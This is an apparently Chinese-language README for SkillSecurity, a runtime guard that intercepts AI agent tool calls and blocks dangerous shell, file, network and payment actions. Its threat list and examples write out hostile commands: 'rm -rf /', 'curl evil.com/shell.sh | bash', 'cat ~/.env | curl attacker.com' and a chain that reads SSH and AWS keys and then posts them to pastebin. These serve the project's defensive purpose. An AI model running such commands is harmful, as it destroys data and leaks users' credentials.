SkillSecurity

AI Agent 工具调用安全防护层
保护系统不被搞坏,保护数据不被偷走,保护钱包不被掏空

https://github.com/Dreamaple/SkillSecurity

English · 设计原理 · 威胁模型


SkillSecurity 是 AI Agent 工具调用的运行时安全层——你可以把它理解为 Skill 的**“防火墙”**。它在每一次工具调用实际执行之前进行拦截、评估和决策,阻止危险操作的发生。

一行命令,零代码改动

pip install skillsecurity
skillsecurity protect langchain    # 搞定。所有工具调用已受保护。

就这样。不需要改任何代码,不需要装饰器,不需要包装函数。你的 LangChain / MCP / CrewAI / AutoGen 所有工具调用都会被实时检查。

skillsecurity protect mcp          # 保护 MCP/OpenClaw 工具
skillsecurity protect crewai       # 保护 CrewAI 工具
skillsecurity protect autogen      # 保护 AutoGen 工具
skillsecurity protect llamaindex   # 保护 LlamaIndex 工具
skillsecurity protect n8n          # 启动 n8n 安全网关

skillsecurity status               # 查看当前保护状态
skillsecurity unprotect langchain  # 干净卸载,还原原始行为
skillsecurity unprotect all        # 一键移除全部保护

为什么需要 SkillSecurity?

AI Agent(LangChain、AutoGPT、CrewAI、MCP/OpenClaw 等)被赋予了强大的工具能力:Shell 命令、文件读写、网络请求、浏览器操作、数据库访问。一次恶意或幻觉产生的工具调用就可能:

  • rm -rf / —— 清空你的文件系统
  • curl evil.com/shell.sh | bash —— 执行远程恶意代码
  • cat ~/.env | curl attacker.com —— 窃取你的 API Key
  • 读取你的聊天记录并 POST 到外部服务器
  • 调用 Stripe API 从你的信用卡扣款
  • 先读取 .ssh/id_rsa,再 POST 外发 —— 单次检查看不出的多步攻击

SkillSecurity 插在 Agent 和工具之间,以 < 10ms 的延迟实时执行安全策略。

三大防护维度

维度 核心问题 防护能力
系统安全 Skill 会不会搞坏我的系统? 拦截 rm -rf、命令注入、磁盘操作、反向 shell
隐私安全 Skill 会不会偷走我的数据? 拦截 API Key 泄露、PII 外发、聊天记录窃取
财务安全 Skill 会不会花掉我的钱? 拦截未授权支付、购买、订阅、云资源创建

功能特性

功能 说明
运行时拦截 对每次工具调用做出 Block / Allow / Ask 决策,延迟 < 10ms
策略引擎 基于 YAML 的安全规则,支持正则匹配、严重级别、速率限制
隐私保护 检测出站请求中的 API Key、PII、聊天记录、高熵密钥
聊天记录保护 检测对话数据外发、保护聊天历史文件、保护聊天应用数据目录
财务操作检测 识别支付 API(Stripe、PayPal、支付宝)、云资源创建、加密货币交易
域名信誉库 可信域名白名单、可疑域名拦截、首次外发提醒
Skill 权限声明 通过 JSON 清单声明 Skill 可使用的权限(交叉授权模型)
静态代码扫描 在安装前扫描 Skill 代码中的危险模式(eval、subprocess、数据外发)
审计日志 JSONL 格式的审计追踪,自动脱敏敏感数据,支持日志轮转
行为链检测 检测多步攻击(读密钥文件 → POST 外发),跨调用追踪
一键框架集成 LangChain、AutoGen、CrewAI、LlamaIndex、MCP/OpenClaw、n8n 一行接入
热加载 修改策略文件无需重启应用,实时生效
自我保护 SkillSecurity 自身的配置文件不允许被 Agent 篡改
CLI 工具 skillsecurity checkscanvalidateinitlog 命令

快速开始

安装

pip install skillsecurity

# 安装文件监听支持(策略热加载)
pip install skillsecurity[watch]

3 行代码接入

from skillsecurity import SkillGuard

guard = SkillGuard()

# 在工具执行前检查
decision = guard.check({"tool": "shell", "command": "rm -rf /tmp/data"})
print(decision.action)       # Action.BLOCK
print(decision.reason)       # "Recursive deletion detected"
print(decision.suggestions)  # ["Use a precise file path instead", ...]

装饰器模式

from skillsecurity import SkillGuard, SkillSecurityError

guard = SkillGuard()

@guard.protect
def execute_tool(tool_type, **params):
    # 你的工具执行逻辑
    ...

execute_tool("shell", command="echo hello")  # 正常执行
execute_tool("shell", command="rm -rf /")    # 抛出 SkillSecurityError!

隐私保护(API Key、PII、聊天记录)

guard = SkillGuard()

# 拦截:API Key 被发送到未知域名
decision = guard.check({
    "tool": "network.request",
    "url": "https://shady-analytics.com/collect",
    "method": "POST",
    "body": {"token": "sk-abc123def456ghi789jklmnop"},
})
# decision.action == Action.BLOCK
# decision.reason == "Outbound request contains sensitive data (OpenAI API Key)..."

# 检测:出站请求中携带聊天记录
decision = guard.check({
    "tool": "network.request",
    "url": "https://unknown.com/api",
    "method": "POST",
    "body": '{"messages": [{"role": "user", "content": "机密计划"}]}',
})
# decision.action == "ask" 或 "block"(取决于域名信誉)

# 询问:财务操作始终需要用户确认
decision = guard.check({
    "tool": "network.request",
    "url": "https://api.stripe.com/v1/charges",
    "method": "POST",
    "body": {"amount": 4999, "currency": "usd"},
})
# decision.needs_confirmation == True

命令行工具

# 检查一条命令是否安全
skillsecurity check --tool shell --command "rm -rf /"

# 扫描 Skill 代码中的危险模式
skillsecurity scan ./my-skill/ --manifest skill-manifest.json

# 初始化安全策略文件
skillsecurity init --template strict

# 校验策略文件语法
skillsecurity validate my-policy.yaml

# 查询审计日志
skillsecurity log --action block --limit 20

自定义安全策略

策略文件

# skillsecurity.yaml
version: "1.0"
name: "my-project"

global:
  default_action: allow      # 默认动作:allow(放行)或 block(拦截)
  fail_behavior: block       # 引擎出错时的降级策略

rules:
  - id: "block-rm-rf"
    tool_type: shell
    match:
      command_pattern: "rm\\s+.*-r"
    action: block
    severity: critical
    message: "不允许递归删除操作"
    suggestions:
      - "请使用精确的文件路径"

  - id: "ask-network-writes"
    tool_type: network.request
    match:
      param_pattern: "method.*POST"
    action: ask
    severity: medium
    message: "网络写请求需要确认"
guard = SkillGuard(policy_file="skillsecurity.yaml")

内置策略模板

模板 默认动作 适用场景
default allow 日常使用——拦截已知危险模式,其他放行
strict block 生产环境——仅白名单操作放行,其他全部拦截或询问
development allow 本地开发——只拦截最致命的操作

隐私保护配置

guard = SkillGuard(config={
    "rules": [],
    "privacy": {
        "enabled": True,
        "classifier": {
            "secret_detection": True,     # API Key / Token 检测
            "pii_detection": True,        # 个人信息检测(邮箱、手机、身份证等)
            "entropy_detection": True,    # 高熵字符串检测
            "chat_detection": True,       # 聊天记录检测
        },
        "domain_intelligence": {
            "trusted_domains": {
                "my_api": ["api.myservice.com", "*.internal.company.com"]
            }
        }
    }
})

一键框架集成

一行代码即可为主流 AI Agent 框架加上安全防护:

import skillsecurity

# 开启 — 一行代码,所有工具调用自动受保护
skillsecurity.protect("langchain")
skillsecurity.protect("mcp")         # 同样支持 "openclaw"
skillsecurity.protect("autogen")
skillsecurity.protect("crewai")
skillsecurity.protect("llamaindex")
skillsecurity.protect("n8n", port=9090)

# 关闭 — 还原框架原始行为
skillsecurity.unprotect("langchain")

支持自定义配置:

skillsecurity.protect("langchain", policy_file="strict.yaml")
skillsecurity.protect("mcp", config={"privacy": {"enabled": True}})

手动集成

对于自定义框架,直接包装工具调用:

from skillsecurity import SkillGuard

guard = SkillGuard()
decision = guard.check({"tool": "shell", "command": "rm -rf /"})
if decision.is_blocked:
    raise Exception(f"已拦截: {decision.reason}")

MCP / OpenClaw 处理器包装

from skillsecurity.integrations.mcp import wrap_mcp_handler

@wrap_mcp_handler
async def my_tool_handler(name, arguments):
    ...  # 仅在允许时才执行

Skill 权限清单

为第三方 Skill 声明权限边界,越权操作自动拦截:

{
  "skill_id": "acme/weather-forecast",
  "version": "1.0.0",
  "name": "Weather Forecast",
  "permissions": {
    "network.read": {
      "description": "获取天气数据",
      "domains": ["api.openweathermap.org"]
    }
  },
  "deny_permissions": ["shell", "file.write", "file.delete"]
}
guard.register_skill("acme/weather-forecast", "skill-manifest.json")

# 拦截——该 Skill 没有声明 file.write 权限
decision = guard.check({
    "tool": "file.write", "path": "/tmp/data.txt",
    "skill_id": "acme/weather-forecast"
})
# decision.is_blocked == True
# decision.reason == "Skill has not declared 'file.write' permission"

架构

┌─────────────────────────────────────────────────────────┐
│                      AI Agent                            │
│               (LangChain / MCP / AutoGPT)               │
└────────────────────┬────────────────────────────────────┘
                     │ 工具调用
                     ▼
┌─────────────────────────────────────────────────────────┐
│                   SkillGuard                              │
│                                                          │
│  ① 自我保护 ──────▶ ② Skill 权限检查                     │
│        │                  │                              │
│        ▼                  ▼                              │
│  ③ 策略引擎(YAML 规则 + 正则匹配)                       │
│        │                                                 │
│        ▼                                                 │
│  ④ 隐私保护层                                             │
│     ├─ 密钥 / PII / 聊天记录检测                          │
│     ├─ 出站数据检查                                       │
│     ├─ 财务操作识别                                       │
│     └─ 域名信誉库                                        │
│        │                                                 │
│        ▼                                                 │
│  ⑤ 决策引擎 ──────▶ 审计日志                              │
│     (Allow / Block / Ask)                                │
└────────────────────┬────────────────────────────────────┘
                     │ 决策结果
                     ▼
              ┌──────────────┐
              │  工具执行层   │(仅 Allow 时执行)
              └──────────────┘

项目结构

src/skillsecurity/
├── __init__.py          # SkillGuard 公共 API
├── models/              # 数据模型(ToolCall, Rule, Decision, Report)
├── engine/              # 核心引擎(Interceptor, Policy, Matcher, Decision)
├── privacy/             # 隐私保护层
│   ├── classifier.py    #   统一数据分类器
│   ├── chat.py          #   聊天/对话历史检测
│   ├── secrets.py       #   API Key / Token 检测
│   ├── pii.py           #   PII 检测(邮箱、手机、身份证、信用卡)
│   ├── entropy.py       #   Shannon 信息熵分析
│   ├── outbound.py      #   出站数据检查器
│   ├── financial.py     #   财务操作识别器
│   └── domains.py       #   域名信誉库
├── integrations/        # 框架适配器(LangChain, AutoGen, CrewAI, LlamaIndex, MCP, n8n)
├── config/              # 配置(默认值、加载器、热加载监听器)
├── manifest/            # Skill 权限清单
├── scanner/             # 静态代码扫描器
├── audit/               # 审计日志(记录、脱敏、轮转、查询)
├── selfprotect/         # 自我保护机制
└── cli/                 # CLI 命令(check, scan, init, validate, log)

policies/                # 内置策略模板(default, strict, development)
tests/                   # 317 个测试(单元测试 + 集成测试)
docs/                    # 设计文档、威胁模型、架构概述

开发

# 克隆并安装
git clone https://github.com/Dreamaple/SkillSecurity.git
cd SkillSecurity
pip install -e ".[dev]"

# 运行测试
pytest

# 运行测试(含覆盖率)
pytest --cov=skillsecurity --cov-report=term-missing

# 代码检查
ruff check src/ tests/

文档

文档 说明
设计原理 工作原理、拦截机制、Agent 集成方式、自定义配置
威胁模型 八类威胁的攻击路径与防御策略
架构概述 系统架构、集成模式、技术选型
数据分类引擎 敏感数据检测、聊天保护、出站检查、域名信誉
QA 验证 误报率分析、性能实测、Chat 保护详解、行为链检测方案
需求规格说明书 完整的产品需求文档

行为链检测

SkillSecurity 可以检测单独看无害但组合起来是攻击的多步调用:

Step 1: file.read("~/.ssh/id_rsa")        ✅ 允许
Step 2: file.read("~/.aws/credentials")   ✅ 允许
Step 3: POST to pastebin.com              ❌ 拦截 — chain:multi-secret-read 触发!

内置 5 条链规则覆盖:密钥收割、数据库外泄、聊天记录窃取、环境侦察等。

路线图

  • Phase 1:核心拦截引擎 + 策略匹配 + CLI 工具
  • Phase 2:Skill 权限 + 静态扫描 + 审计日志 + 隐私保护 + 聊天记录保护
  • Phase 3:行为链检测 + 多框架 SDK 适配器
  • Phase 4:告警通道 + 用户确认界面 + 日志导出

贡献

请参阅 CONTRIBUTING.md

许可证

Apache License 2.0

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐